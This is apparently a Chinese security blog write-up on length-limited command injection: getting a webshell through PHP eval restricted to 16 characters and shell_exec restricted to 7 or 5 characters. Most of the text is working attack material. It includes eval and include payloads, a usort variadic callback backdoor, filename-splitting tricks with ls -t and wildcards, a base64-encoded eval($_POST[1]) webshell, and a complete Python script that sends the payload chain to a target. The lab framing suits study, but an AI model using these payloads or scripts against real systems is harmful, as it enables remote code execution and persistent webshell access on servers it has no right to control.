EVAL长度限制突破技巧

PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?

源码

1
2
3
4
5
6
7
8
<?php
$param = $_REQUEST['param'];
if (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
)
{
eval($param);
}

image-20250723172109903

这里其实很容易想到利用$_GET[1]

payload

1
?param=echo%20`$_GET[1]`;&1=whoami

image-20250723173601674

还有一种方法呢就是利用exec

1
?param=exec($_GET[1]);

其实核心都是$_GET[1]

这里还有另一种解法,利用文件包含

image-20250723174057360

远程文件包含的利用

include$_GET[1];也是可以运行的,中间的空格可以不要。

这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。

本地文件包含的利用

那么,文件包含真的不行么?

有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:

1
param=$_GET[a](N,a,8);&a=file_put_contents

file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串’N’;第二个参数是要写入的数据,a也被转换成字符串’a’;第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。【因为默认是0 ,0是覆盖,8是追加】

开始测试

结果发现

image-20250723175922187

权限不足,忘记改html为www:data,权限了

执行

1
chown www-data:www-data /var/www/html

image-20250723180024341

除了file_put_contents,error_log函数效果也类似。

但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如param=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。

那么我们每次向文件’N’中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。

最后请求如下:

1
2
3
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw   //<?php eval($_POST[1]);
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

我们用蚁剑 连接试试

image-20250723180625969

成功getshell。

然后这里看了P神的文章发现还可以利用以下几个方式

本地日志包含

首先通过各种方法找到web日志,然后利用上面说的include的方式来包含之。

1
param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log

如果找不到web日志,利用条件竞争的方法,包含tmp文件也可以。

标准答案:利用变长参数特性展开数组

变长参数是PHP5.6新引入的特性,文档在此: http://php.net/manual/zh/migration56.new-features.php

和Python中的**kwargs,类似,在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。

再结合回调后门,即可构造一个完美的利用,数据包如下:

1
2
3
4
5
6
7
8
9
10
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

效果图:

14847507412871.jpg

大概过程就是,GET变量被展开成两个参数['test', 'phpinfo();']assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();。修改phpinfo();为webshell即可。

也就是我上一篇文章细致的研究过

Linux命令度限制在7个字符的情况下,如何拿到shell
1
2
3
4
5
6
7
8
在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符串尾的\0,限制在7个字符。

<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{
echo shell_exec($param);
}

这里看了来自 @超威蓝猫 px1624 师傅的奇技淫巧。

image-20250723181230904

在Linux下 W>hp,可以直接写入文件名为hp的文件

其实这里也可以不用w,直接 >hp,也可以,

而且在Linux下 ls -t 这个可以安装时间顺序进行排序,也就是我们先创建的文件会排最下面,越晚创建的文件会排在最上面

这里为什么要引入\ 呢? 就是为了转义ls 的换行符,因为我们只能7个字符慢慢写,还没写完,所以引入转义字符,就可以接着写啦,

这里我们也不能直接写入< 测试发现会报错

image-20250723182007487

1
2
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw |base64 -d>c.php
//<?php eval($_POST[1]);

我们来尝试写入这个命令

因为先写的在最后面,所以我们要倒着写

这里还是要注意权限的问题

image-20250723182500233

image-20250723182940024

写入完毕

1
ls -t>0

将他排序后的结果重定向给0

然后执行

image-20250723184238033

image-20250723184256399

image-20250723184302522

连接也没有任何的问题

五字符

5字符我们如何拿到webshell呢?

源码

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
echo shell_exec($_GET['cmd']);
}
?>

这里其实我们也可以用刚刚7字符的思路

通过 > 写入文件名来执行命令

这里引入了一个新的参数 ls -h

-h参数以易读的方式显示文件或目录大小

就比如我们构建的 ls -t > a

1
2
3
>a\>
>t-
>sl

image-20250723201455590

因为ls是默认按照字母顺序来排序的,所以添上-h是为了让命令以正常的顺序运行

所以这里我们 将 >t- 替换为 >ht-

image-20250723201648294

ls写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到我们的命令执行,而dir会把内容全部写入一行中,同时会自动补全空格

例如

image-20250723201821161

这里还有一个知识点

* 的用法

在Linux中* 大家都知道可以作为通配符使用,但是他也可以作为 命令来执行

比如

image-20250723202106910

这里 我们可以看到* > v 成功 将dir的结果重定向到v中了,这是为什么呢?

查询资料后发现

image-20250723202340865

正好我们这里的第一个是dir

我们还可以做一个测试

追加一个 >a 这样第一个就不是dir了,也就可以看到是否是执行dir

image-20250723202446925

爆了a没找到,印证我们的看法

然后我们继续

1
2
3
4
5
6
7
8
9
>dir
每个都是一个文件
>f\>
>ht-
>sl
*>v
>rev
*v>a
sh a 最后用sh来执行命令

image-20250723202611194

按道理来说,按照我们前面的想法,这里*应该匹配 dir,他为什么匹配到 rev了呢?

我们可以设置一下,让shell,打印我们所执行的命令,看看他到底是匹配的什么

set -x 执行这条命令

image-20250723203036906

确实是先匹配的rev 并执行的

也就是说,形如*v 这样的 他会先将 符合 这个通配符的全部文件列出来,然后取第一个再进行命令执行

接下来就可以开始拆分字符串了,第一种可以直接构造一句话木马,因为有<,?,需要将其进行base64转换,这样payload里就没有特殊字符了

1
2
3
4
5
6
写入一句话木马 直接写入 他转为base64编码
<?php eval($_POST[1]); base64:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
构造
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw|base64 -d>1.php
sh f
1.php 就是你的<?php eval($_POST[1]);

需要注意的是必须要将其中一个空格用${IFS}代替,否则会被’吃’掉一个空格

这里有个小技巧,可以利用

echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw|base64 -d>1.php' | fold -w2 | sed 's/$/\\\\/'

直接拆分,只需要注意转义即可

image-20250723204523305

尝试写入

我写了一个脚本,来增加我们写入的效率

因为ls -t按时间先后顺序排序,所以需要倒置,同时加上ls -ht > a的构造

这里要注意我们所传的值不能有重复的命名

运行脚本

完整的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import time
# 目标 URL
url = "http://192.168.197.134/rce/test.php?cmd="
payload_lines = [
">dir",
">f\>",
">ht-",
">sl",
"*>v",
">rev ",
"*v>a",
">p ",
">ph\\",
">1.\\",
">\>\\",
">-d\\",
">\ \\ ",
">64\\",
">se\\",
">ba\\",
">\|\\ ",
">Ow\\",
">0p\\",
">MV\\",
">Rb\\",
">U1\\",
">BP\\",
">X1\\",
">gk\\",
">bC\\",
">Zh\\",
">ZX\\",
">Ag\\",
">aH\\",
">9w\\",
">PD\\",
]
# 逐个发送请求
for line in payload_lines:
full_url = url + line
try:
response = requests.get(full_url, timeout=5)
print(f"[+] Sent: {line} => Status: {response.status_code}")
# 可打印输出结果:print(response.text)
except Exception as e:
print(f"[-] Failed to send {line}: {e}")
time.sleep(0.5) # 建议加间隔,避免过快触发异常